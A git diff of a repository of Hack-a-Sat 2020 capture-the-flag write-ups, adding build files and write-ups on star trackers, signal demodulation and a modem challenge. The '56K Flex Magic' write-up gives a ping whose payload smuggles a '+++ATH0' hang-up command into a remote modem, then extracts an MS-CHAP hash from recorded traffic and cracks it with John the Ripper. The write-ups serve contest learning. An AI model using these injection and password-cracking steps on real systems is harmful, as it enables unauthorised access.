diff --git a/.gitignore b/.gitignore index 8a42ebb..4aa5afe 100644 --- a/.gitignore +++ b/.gitignore @@ -1,284 +1,6 @@ -## Core latex/pdflatex auxiliary files: +*.pdf *.aux -*.lof *.log -*.lot *.fls -*.out -*.toc -*.fmt -*.fot -*.cb -*.cb2 -.*.lb - -## Intermediate documents: -*.dvi -*.xdv -*-converted-to.* -# these rules might exclude image files for figures etc. -# *.ps -# *.eps -# *.pdf - -## Generated if empty string is given at "Please type another file name for output:" -.pdf - -## Bibliography auxiliary files (bibtex/biblatex/biber): -*.bbl -*.bcf -*.blg -*-blx.aux -*-blx.bib -*.run.xml - -## Build tool auxiliary files: *.fdb_latexmk -*.synctex -*.synctex(busy) -*.synctex.gz -*.synctex.gz(busy) -*.pdfsync - -## Build tool directories for auxiliary files -# latexrun -latex.out/ - -## Auxiliary and intermediate files from other packages: -# algorithms -*.alg -*.loa - -# achemso -acs-*.bib - -# amsthm -*.thm - -# beamer -*.nav -*.pre -*.snm -*.vrb - -# changes -*.soc - -# comment -*.cut - -# cprotect -*.cpt - -# elsarticle (documentclass of Elsevier journals) -*.spl - -# endnotes -*.ent - -# fixme -*.lox - -# feynmf/feynmp -*.mf -*.mp -*.t[1-9] -*.t[1-9][0-9] -*.tfm - -#(r)(e)ledmac/(r)(e)ledpar -*.end -*.?end -*.[1-9] -*.[1-9][0-9] -*.[1-9][0-9][0-9] -*.[1-9]R -*.[1-9][0-9]R -*.[1-9][0-9][0-9]R -*.eledsec[1-9] -*.eledsec[1-9]R -*.eledsec[1-9][0-9] -*.eledsec[1-9][0-9]R -*.eledsec[1-9][0-9][0-9] -*.eledsec[1-9][0-9][0-9]R - -# glossaries -*.acn -*.acr -*.glg -*.glo -*.gls -*.glsdefs -*.lzo -*.lzs - -# uncomment this for glossaries-extra (will ignore makeindex's style files!) -# *.ist - -# gnuplottex -*-gnuplottex-* - -# gregoriotex -*.gaux -*.gtex - -# htlatex -*.4ct -*.4tc -*.idv -*.lg -*.trc -*.xref - -# hyperref -*.brf - -# knitr -*-concordance.tex -# TODO Uncomment the next line if you use knitr and want to ignore its generated tikz files -# *.tikz -*-tikzDictionary - -# listings -*.lol - -# luatexja-ruby -*.ltjruby - -# makeidx -*.idx -*.ilg -*.ind - -# minitoc -*.maf -*.mlf -*.mlt -*.mtc[0-9]* -*.slf[0-9]* -*.slt[0-9]* -*.stc[0-9]* - -# minted -_minted* -*.pyg - -# morewrites -*.mw - -# nomencl -*.nlg -*.nlo -*.nls - -# pax -*.pax - -# pdfpcnotes -*.pdfpc - -# sagetex -*.sagetex.sage -*.sagetex.py -*.sagetex.scmd - -# scrwfile -*.wrt - -# sympy -*.sout -*.sympy -sympy-plots-for-*.tex/ - -# pdfcomment -*.upa -*.upb - -# pythontex -*.pytxcode -pythontex-files-*/ - -# tcolorbox -*.listing - -# thmtools -*.loe - -# TikZ & PGF -*.dpth -*.md5 -*.auxlock - -# todonotes -*.tdo - -# vhistory -*.hst -*.ver - -# easy-todo -*.lod - -# xcolor -*.xcp - -# xmpincl -*.xmpi - -# xindy -*.xdy - -# xypic precompiled matrices and outlines -*.xyc -*.xyd - -# endfloat -*.ttt -*.fff - -# Latexian -TSWLatexianTemp* - -## Editors: -# WinEdt -*.bak -*.sav - -# Texpad -.texpadtmp - -# LyX -*.lyx~ - -# Kile -*.backup - -# gummi -.*.swp - -# KBibTeX -*~[0-9]* - -# TeXnicCenter -*.tps - -# auto folder when using emacs and auctex -./auto/* -*.el - -# expex forward references with \gathertags -*-tags.tex - -# standalone packages -*.sta - -# Makeindex log files -*.lpz - -# xwatermark package -*.xwm - -# REVTeX puts footnotes in the bibliography by default, unless the nofootinbib -# option is specified. Footnotes are the stored in a file with suffix Notes.bib. -# Uncomment the next line to have this generated file ignored. -#*Notes.bib +/build/ diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..3f9867b --- /dev/null +++ b/Makefile @@ -0,0 +1,27 @@ +.PHONY: all clean genreadme + +DOCS_ALL=$(wildcard **/**/README.md) +WRITEUP_PDF=writeup.pdf + +all: README.md $(WRITEUP_PDF) + +clean: + $(RM) -r $(WRITEUP_PDF) build/ + +README.md: $(DOCS_ALL) + @echo "GEN README.md" + @(printf "# BLAHAJ Hack-a-Sat 2020 Writeups\n\n"; for file in $(DOCS_ALL); do \ + printf -- "- [%s](%s)\n" "$$(dirname $$file)" "$$(dirname $$file)"; done) > README.md + +$(WRITEUP_PDF): $(DOCS_ALL) fonts.tex top.md + @echo "GEN writeup.md" + @mkdir build/ 2>/dev/null || true + @find . -mindepth 3 -iname '*.png' -exec cp {} build/ \; + @find . -mindepth 3 -iname '*.py' -exec cp {} build/ \; + @cp fonts.tex jork.png build/ + @for md in top.md $(DOCS_ALL); do cat $$md; printf "\n\n\\\\newpage\n\n"; done > build/writeup.md + @echo "PDF writeup.pdf" + @cd build && \ + pandoc --filter pandoc-include-code --toc --toc-depth 1 -f markdown-implicit_figures \ + -i writeup.md --pdf-engine=lualatex -o writeup.pdf + @cp build/writeup.pdf $@ diff --git a/README.md b/README.md index e69de29..48cbcd3 100644 --- a/README.md +++ b/README.md @@ -0,0 +1,11 @@ +# BLAHAJ Hack-a-Sat 2020 Writeups + +- [aaaa/attitude-adjustment](aaaa/attitude-adjustment) +- [aaaa/digital-filters-meh](aaaa/digital-filters-meh) +- [aaaa/seeing-stars](aaaa/seeing-stars) +- [comms/56k](comms/56k) +- [ground-segment/phasors-to-stun](ground-segment/phasors-to-stun) +- [payload/leakycrypto](payload/leakycrypto) +- [satellite-bus/bytes-away](satellite-bus/bytes-away) +- [satellite-bus/magic-bus](satellite-bus/magic-bus) +- [space/good-plan-great-plan](space/good-plan-great-plan) diff --git a/aaaa/.gitkeep b/aaaa/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/aaaa/attitude-adjustment/README.md b/aaaa/attitude-adjustment/README.md index 710c06d..1d9020f 100644 --- a/aaaa/attitude-adjustment/README.md +++ b/aaaa/attitude-adjustment/README.md @@ -50,10 +50,10 @@ def solve_orientation(stars, catalog): Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog *to* the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing. -Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server to get +Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server: ```{.python} -TICKET = 'ticket{papa21503yankee:GGntHycE-_FqMqGbIoz7rKZD-MzEraoec3dRGU21ExVYGGYFLJQQlRLqNLWn8D4ghQ}' +TICKET = 'THE_TICKET' r = tubes.remote.remote('attitude.satellitesabove.me', 5012) r.send(TICKET+'\n') time.sleep(0.5) @@ -73,6 +73,6 @@ The flag should get printed out on stdout by the final line. ``` ## Resources and other writeups -- https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem -- https://en.wikipedia.org/wiki/Kabsch_algorithm -- https://github.com/charnley/rmsd/tree/master \ No newline at end of file +- +- +- diff --git a/aaaa/attitude-adjustment/attitude.py b/aaaa/attitude-adjustment/attitude.py index 411f254..1e92cbe 100644 --- a/aaaa/attitude-adjustment/attitude.py +++ b/aaaa/attitude-adjustment/attitude.py @@ -30,7 +30,7 @@ def solve_orientation(stars, catalog): rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) return rotation -TICKET = 'ticket{papa21503yankee:GGntHycE-_FqMqGbIoz7rKZD-MzEraoec3dRGU21ExVYGGYFLJQQlRLqNLWn8D4ghQ}' +TICKET = 'THE_TICKET' r = tubes.remote.remote('attitude.satellitesabove.me', 5012) r.send(TICKET+'\n') time.sleep(0.5) @@ -40,4 +40,4 @@ for _ in range(20): rotation = solve_orientation(stars, catalog) r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') time.sleep(0.1) -print(r.clean()) \ No newline at end of file +print(r.clean()) diff --git a/aaaa/digital-filters-meh/README.md b/aaaa/digital-filters-meh/README.md index c924585..3ecab4b 100644 --- a/aaaa/digital-filters-meh/README.md +++ b/aaaa/digital-filters-meh/README.md @@ -54,7 +54,7 @@ q_att = startracker(actual); ``` Looking inside `startracker()`, we see that it pretty clearly indicates that we *are* the star tracker; every timestep, the code tells us, the adversary, what the true physical orientation is as a quaternion. We can act as the star tracker and send back a wxyz-format quaternion on stdin, which it will use as the star-tracker output (note that, for some reason, the code they give us uses space-separated floats and the actual challenge uses comma-separated floats): -```{.matplotlib} +```{.matlab} % Model must have a q_att member function [ q ] = startracker(model) @@ -78,7 +78,7 @@ endfunction ``` Also note that in `challenge.m`, immediately after the star tracker call, checking the return value for consistency with the physical model is _commented out_. We can tell the satellite that it's pointing anywhere we like and it will believe us, although Kalman error might be bad: -``` +```{.matlab} %err = quat2eul(quat_diff(q_att, target.q_att))'; %if max(abs(err)) > err_thresh % disp("Error: No way, you are clearly lost, Star Tracker!"); @@ -99,7 +99,7 @@ Hook up to the server: sep = ',' r = remote('filter.satellitesabove.me', 5014) r.clean() -r.send('ticket{foxtrot78531papa:GLliqPNOiBYZl7OwLiZCOx2yfdmbyO6cdgrfcNRC8iMPcJgy0YQ_H1kBeWTloVB_-w}\n') +r.send('THE_TICKET') time.sleep(0.1) ``` @@ -115,7 +115,7 @@ def adversary(true_pose): ``` And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag: -``` +```{.python} while True: rl = r.readline(timeout=3) if rl.startswith(b'Uh oh,'): @@ -137,4 +137,4 @@ When we see that string, the script jumps to `pwnlib.tubes`' interactive mode an ### Full code ```{.python include=meh.py} -``` \ No newline at end of file +``` diff --git a/aaaa/digital-filters-meh/meh.py b/aaaa/digital-filters-meh/meh.py index 94d701b..37b28f5 100644 --- a/aaaa/digital-filters-meh/meh.py +++ b/aaaa/digital-filters-meh/meh.py @@ -16,7 +16,7 @@ else: sep = ',' r = remote('filter.satellitesabove.me', 5014) r.clean() - r.send('ticket{foxtrot78531papa:GLliqPNOiBYZl7OwLiZCOx2yfdmbyO6cdgrfcNRC8iMPcJgy0YQ_H1kBeWTloVB_-w}\n') + r.send('THE_TICKET') time.sleep(0.1) def adversary(true_pose): diff --git a/aaaa/seeing-stars/README.md b/aaaa/seeing-stars/README.md index d4b62df..940eb0e 100644 --- a/aaaa/seeing-stars/README.md +++ b/aaaa/seeing-stars/README.md @@ -53,30 +53,13 @@ return solve We then automated this entire process using pwnlib to connect to the server and read the data. + ### Full code ```{.python include=seeing-stars.py} ``` -Run it: -``` - λ has-writeup/aaaa/seeing-stars python seeing-stars.py -b'flag{juliet73678uniform:GDy7YZdtCL9mcLgYuLceK_zwgwSAoT6ui5aMGo1IMYcic9tiI8EXUHLfQDcUsjjt5KqsIvOWUYeM8IS6631Vppw}\n' -Traceback (most recent call last): - File "seeing-stars.py", line 42, in - rawdat = r.recvuntil('Enter', drop=True) - File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 310, in recvuntil - res = self.recv(timeout=self.timeout) - File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 82, in recv - return self._recv(numb, timeout) or b'' - File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 160, in _recv - if not self.buffer and not self._fillbuffer(timeout): - File "/usr/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer - data = self.recv_raw(self.buffer.get_fill_size()) - File "/usr/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw - raise EOFError -EOFError -``` +Run it, and the flag should be printed as a bytestring. ## Resources and other writeups -- https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html -- https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html +- +- diff --git a/aaaa/seeing-stars/seeing-stars.py b/aaaa/seeing-stars/seeing-stars.py index a8ac82e..a503bb9 100755 --- a/aaaa/seeing-stars/seeing-stars.py +++ b/aaaa/seeing-stars/seeing-stars.py @@ -33,7 +33,7 @@ def solve(rawdat): solve += (str(cX) + "," + str(cY)+'\n') return solve -TICKET = 'ticket{juliet73678uniform:GIE7kv0AbxY1I813dEkfLYg2PhHMnJcdqhouI2zuDG1md_2TQ1Ikgab5osJoTRFzIg}' +TICKET = 'THE_TICKET' r = tubes.remote.remote('stars.satellitesabove.me', 5013) r.recvline() r.send(TICKET+'\n') diff --git a/comms/.gitkeep b/comms/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/comms/56k/README.md b/comms/56k/README.md new file mode 100644 index 0000000..6e82d92 --- /dev/null +++ b/comms/56k/README.md @@ -0,0 +1,257 @@ +# 56K Flex Magic + +**Category:** Communication Systems +**Points (final):** 205 +**Solves:** 13 + +>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a +>flag… +> +>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected +>behavior. + +## Write-up + +by [haskal](https://awoo.systems) + +An audio file is included that contains a session where a number is dialed, and then some modem data +is exchanged (it's a very distinctive sound). Additionally, there is a note included with the +following text. + +``` +---=== MY SERVER ===--- +Phone #: 275-555-0143 +Username: hax +Password: hunter2 + +* Modem implements a (very small) subset of 'Basic' commands as + described in the ITU-T V.250 spec (Table I.2) + +---=== THEIR SERVER ===--- + +Ground station IP: 93.184.216.34 +Ground station Phone #: 458-XXX-XXXX ...? +Username: ? +Password: ? + +* They use the same model of modem as mine... could use +++ATH0 + ping of death +* It'll have an interactive login similar to my server +* Their official password policy: minimum requirements of + FIPS112 (probably just numeric) + * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137' +``` + +ITU-T V.250 is essentially a formalization of the [Hayes command +set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to +interact with our local modem, such as +``` +ATDTXXXXXXXXXX - dial number XXX... +ATH0 - hang up ++++ - get the local modem's attention while in a remote session +``` + +The first step is to try to get information about the ground station server. We can decode the dial +tones from the audio file, which are +[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we +obtain a phone number for the ground station of `458-555-0142`. However dialing this number results +in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need +to disconnect it. + +The "ping of death" refers to injecting a modem command into a packet sent to a remote server in +order to cause the server's modem to interpret a hang up command contained in the packet. This can +be achieved by pinging with the data `+++ATH0`, because as the server replies to the ping with the +same data, its local modem will interpret the command inside the ping. But we need to escape it with +hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the +text file to get an initial shell session + +``` +ATDT2755550143 +``` + +Next, issue a ping of death to the provided server IP +```bash +ping -v 0x2b2b2b415448290d 93.184.216.34 +``` + +Now the ground station should be disconnected so it is available for us to dial. + +``` ++++ATH0 +ATDT45845550142 +``` + +We get a login prompt for SATNET + +``` +* * . * * * . * * . * * . + . * * . * . . * . * + * +------------------------------+ + . | SATNET | * + +------------------------------+ . + . | UNAUTHORIZED ACCESS IS | + | STRICTLY PROHIBITED | +. +------------------------------+ . + . . + . + +Setting up - this will take a while... + +LOGIN +Username: +``` + +However we still need the username and password. Maybe the provided audio file has the credentials +somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of +choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is +consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses +dual-channel Frequency Shift Keying at 300 bits/second. We can use +[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide +the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 +and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate. + +```bash +minimodem -8 -S 980 -M 1180 -f recording.wav 300 +minimodem -8 -S 1650 -M 1850 -f recording.wav 300 +``` + +This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from +the notes file that the password is a 4-digit number, but trying the username `rocketman` and +password `2674` didn't work. We need to look closer. This is the beginning of one side of the +exchange in hex: + +```hexdump +00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" +00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. +00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} +00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} +00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!} +``` + +It starts with `7eff`, which is characteristic of [Point-to-Point +Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with +[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first +we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically. +There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte +stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the +byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax +de-framer because sometimes frames seemed to not be started or terminated properly. + +```python +def decode(ch): + buf2 = b"" + esc = False + + for x in ch: + if x == 0x7e: + if buf2 != b"\xFF" and buf2 != b"": + PPP(buf2).show() + buf2 = b"" + esc = False + elif esc: + esc = False + buf2 += bytes([x^0x20]) + elif x == 0x7d: + esc = True + else: + buf2 += bytes([x]) + + if len(buf2) > 0: + PPP(buf2).show() +``` + +(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this +snippet.) + +Now we can see what the packets mean. In particular, we spot these ones: + +``` +###[ HDLC ]### + address = 0xff + control = 0x3 +###[ PPP Link Layer ]### + proto = Link Control Protocol +###[ PPP Link Control Protocol ]### + code = Configure-Ack + id = 0x2 + len = 28 + \options \ +..... + |###[ PPP LCP Option ]### + | type = Authentication-protocol + | len = 5 + | auth_protocol= Challenge-response authentication protocol + | algorithm = MS-CHAP +..... + +###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol +###[ PPP Challenge Handshake Authentication Protocol ]### + code = Response + id = 0x0 + len = 67 + value_size= 49 + value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 +2e9831310b56924f3428b05ad60c7a2b401 + optional_name= 'rocketman2674' +``` + +and + +``` +###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol +###[ PPP Challenge Handshake Authentication Protocol ]### + code = Challenge + id = 0x0 + len = 26 + value_size= 8 + value = 12810ab88c7f1c74 + optional_name= 'GRNDSTTNA8F6C' + +###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol +###[ PPP Challenge Handshake Authentication Protocol ]### + code = Success + id = 0x0 + len = 4 + data = '' +``` + +We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then +authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very +easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the +hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes, +including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We +can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash +like + +``` +username:$NETNTLM$challenge$hash + +rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4 +``` + +Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put +this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will +complete in literal seconds anyway. + +``` +Proceeding with incremental:ASCII +9435 (rocketman2674) +1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 +Use the "--show --format=netntlm" options to display all of the cracked passwords reliably +Session completed +``` + +Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag` +command to get the flag. + +## Resources and other writeups + + * + * + * + * + * + * diff --git a/comms/56k/decode.py b/comms/56k/decode.py new file mode 100644 index 0000000..43f442d --- /dev/null +++ b/comms/56k/decode.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +from scapy.all import * + +with open("ch1", "rb") as f: + ch1 = f.read() + +with open("ch2", "rb") as f: + ch2 = f.read() + +# print(PPP(ch2[0x16a:0x186]).show()) +# print(PPP(ch1[0x171:0x170+70]).show()) + +def decode(ch): + buf2 = b"" + esc = False + + for x in ch: + if x == 0x7e: + if buf2 != b"\xFF" and buf2 != b"": + print(PPP(buf2).__repr__()) + buf2 = b"" + esc = False + elif esc: + esc = False + buf2 += bytes([x^0x20]) + elif x == 0x7d: + esc = True + else: + buf2 += bytes([x]) + + if len(buf2) > 0: + print(PPP(buf2).__repr__()) + +print("\n", "=====================", "CH 1", "\n") +decode(ch1) +print("\n", "=====================", "CH 2", "\n") +decode(ch2) diff --git a/fonts.tex b/fonts.tex new file mode 100644 index 0000000..a58f030 --- /dev/null +++ b/fonts.tex @@ -0,0 +1,18 @@ +% why are we in a separate file here? +% pandoc really likes to mess with these commands when they're in the yaml config so, it's a +% separate file out of pandoc's evil clutches now + +% i literally had to force upgrade to absolute bleeding edge lualatex to get this working ok + +\usepackage{fontspec} +\usepackage{newunicodechar} +\newfontfamily{\emojifont}{Noto Color Emoji}[Renderer=Harfbuzz] +\DeclareTextFontCommand{\textemoji}{\emojifont} +\newunicodechar{🧃}{\textemoji{🧃}} + +\newfontfamily{\symbolfont}{DejaVu Sans}[Renderer=Harfbuzz] +\DeclareTextFontCommand{\textsymbol}{\symbolfont} +\newunicodechar{⬡}{\textsymbol{⬡}} +\newunicodechar{⊕}{\textsymbol{⊕}} + +\setmonofont{Noto Sans Mono}[Scale=0.9] diff --git a/ground-segment/.gitkeep b/ground-segment/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/ground-segment/phasors-to-stun/README.md b/ground-segment/phasors-to-stun/README.md new file mode 100644 index 0000000..a375eb5 --- /dev/null +++ b/ground-segment/phasors-to-stun/README.md @@ -0,0 +1,35 @@ +# Phasors to Stun + +**Category:** Ground Segment +**Points (final):** 62 +**Solves:** 71 + +>Demodulate the data from an SDR capture and you will find a flag. It is a wav file, but that +>doesn't mean its audio data. + +## Write-up + +by [haskal](https://awoo.systems) + +The provided WAV file contains a signal that looks like this: + +![Audacity showing the signal](signal.png) + +This looks suspiciously like Phase Shift Keying (PSK) and it's a very clean signal (this is also +hinted at by the challenge name). We can use [Universal Radio Hacker](https://github.com/jopohl/urh) +to demod this with very little effort. + +![URH with the signal open](urh1.png) + +Select PSK modulation, then click "Autodetect parameters". Then move to Analysis: + +![URH Analysis pane](urh2.png) + +We discovered that the signal is NRZI (non-return-to-zero inverted) coded, and after selecting this +in URH the flag is decoded in the data view. + +## Resources and other writeups + + * + * + * diff --git a/ground-segment/phasors-to-stun/signal.png b/ground-segment/phasors-to-stun/signal.png new file mode 100644 index 0000000..9d3a099 Binary files /dev/null and b/ground-segment/phasors-to-stun/signal.png differ diff --git a/ground-segment/phasors-to-stun/urh1.png b/ground-segment/phasors-to-stun/urh1.png new file mode 100644 index 0000000..818def3 Binary files /dev/null and b/ground-segment/phasors-to-stun/urh1.png differ diff --git a/ground-segment/phasors-to-stun/urh2.png b/ground-segment/phasors-to-stun/urh2.png new file mode 100644 index 0000000..59ba6fd Binary files /dev/null and b/ground-segment/phasors-to-stun/urh2.png differ diff --git a/jork.png b/jork.png new file mode 100644 index 0000000..1371620 Binary files /dev/null and b/jork.png differ diff --git a/payload/.gitkeep b/payload/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/satellite-bus/.gitkeep b/satellite-bus/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/satellite-bus/bytes-away/README.md b/satellite-bus/bytes-away/README.md index 55a061f..5602114 100644 --- a/satellite-bus/bytes-away/README.md +++ b/satellite-bus/bytes-away/README.md @@ -26,6 +26,7 @@ instance automatically by writing the configuration file at `cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt`. When COSMOS is successfully connected to the CTF instance it looks like this (no themes were installed in the Docker container so it looks like Windows 95, I'm so sorry,) + ![COSMOS main window](COSMOS.png) COSMOS can be used to send commands with the Command Sender, and we can send for example a command @@ -64,7 +65,9 @@ at any actual telemetry. ```ruby 12.upto(212) { |off| offset = off - cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'") + cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, " + + "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, " + + "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'") } ``` diff --git a/satellite-bus/magic-bus/README.md b/satellite-bus/magic-bus/README.md index 8abf968..da9686c 100644 --- a/satellite-bus/magic-bus/README.md +++ b/satellite-bus/magic-bus/README.md @@ -74,7 +74,8 @@ def decode_pkt(b): field4 = to_hex(b[27:30]) if b[30] != ord('?'): print('b[30] is not ?') - print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4)) + print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, + field3, field3end, field4)) elif b[0] == ord(';'): print('delimiter') # end of previous packet? else: @@ -138,8 +139,26 @@ tried, this was extremely unlikely. We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string: -``` -Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3 +```hexdump +00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00... +00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1.. +00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#. +00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y. +00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R. +00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|.. +00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5..... +00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./.. +00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02... +00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#. +000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O +000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}..... +000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M. +000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-..... +000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u. +000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N. +00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z. +00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u +00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K.. ``` Unfortunately, nothing meaningful was derived from this. There are a `{` and `}` with bytes between them, but they aren't flag length. @@ -168,7 +187,7 @@ of the form of `^3b+00+00+XX+.` where XX<38 shuts it down, but only 37 enables dump mode. This can probably be done with a fuzzer. Why has God abandoned us? What accursed malfunction did we do to deserve this fate? -If you send the packet `^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.`, +If you send the packet `^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.`, the same packet is sent back. This means that the juice packets deliminated with `\xca` are actually instructions. @@ -181,7 +200,7 @@ By playing with the packet, the format appears to go: With the inject: ``` b"^3b+00+00+37+." 